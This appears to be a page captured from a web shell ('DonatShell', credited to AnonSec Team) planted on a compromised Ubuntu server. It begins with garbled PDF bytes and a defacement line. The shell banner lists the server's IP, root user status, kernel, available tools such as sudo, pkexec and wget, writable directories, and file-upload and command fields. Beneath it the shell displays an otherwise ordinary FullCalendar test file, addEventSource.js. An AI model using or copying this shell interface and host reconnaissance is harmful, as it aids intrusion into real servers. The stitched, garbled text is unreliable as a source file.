%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/addEventSource.js
import { getEventEls } from './../event-render/EventRenderUtils'

describe('addEventSource', function() {
  var eventArray = [
    { id: 0, title: 'event zero', start: '2014-06-24', className: 'event-zero' },
    { id: 1, title: 'event one', start: '2014-06-24', className: 'event-non-zero event-one' },
    { id: 2, title: 'event two', start: '2014-06-24', className: 'event-non-zero event-two' }
  ]

  pushOptions({
    defaultDate: '2014-06-24',
    defaultView: 'dayGridMonth'
  })


  it('correctly adds an array source', function(done) {
    go(
      function() {
        currentCalendar.addEventSource(eventArray)
      },
      null,
      done
    )
  })

  it('correctly adds a function source', function(done) {
    go(
      function() {
        currentCalendar.addEventSource(function(arg, callback) {
          callback(eventArray)
        })
      },
      null,
      done
    )
  })

  it('correctly adds an extended array source', function(done) {
    go(
      function() {
        currentCalendar.addEventSource({
          className: 'arraysource',
          events: eventArray
        })
      },
      function() {
        expect($('.arraysource').length).toEqual(3)
      },
      done
    )
  })

  it('correctly adds an extended array source', function(done) {
    go(
      function() {
        currentCalendar.addEventSource({
          className: 'funcsource',
          events: function(arg, callback) {
            callback(eventArray)
          }
        })
      },
      function() {
        expect($('.funcsource').length).toEqual(3)
      },
      done
    )
  })


  function go(addFunc, extraTestFunc, doneFunc) {
    var callCnt = 0
    var options = {}
    options._eventsPositioned = function() {
      callCnt++
      if (callCnt === 2) { // once for initial render. second time for addEventSource

        checkAllEvents()
        if (extraTestFunc) {
          extraTestFunc()
        }

        // move the calendar back out of view, then back in (for issue 2191)
        currentCalendar.next()
        currentCalendar.prev()

        // otherwise, prev/next would be cancelled out by doneFunc's calendar destroy
        setTimeout(function() {

          checkAllEvents()
          if (extraTestFunc) {
            extraTestFunc()
          }

          doneFunc()
        }, 0)
      }
    }

    initCalendar(options)
    addFunc()
  }

  // Checks to make sure all events have been rendered and that the calendar
  // has internal info on all the events.
  function checkAllEvents() {
    expect(currentCalendar.getEvents().length).toEqual(3)
    expect(getEventEls().length).toEqual(3)
  }
})

Anon7 - 2022
AnonSec Team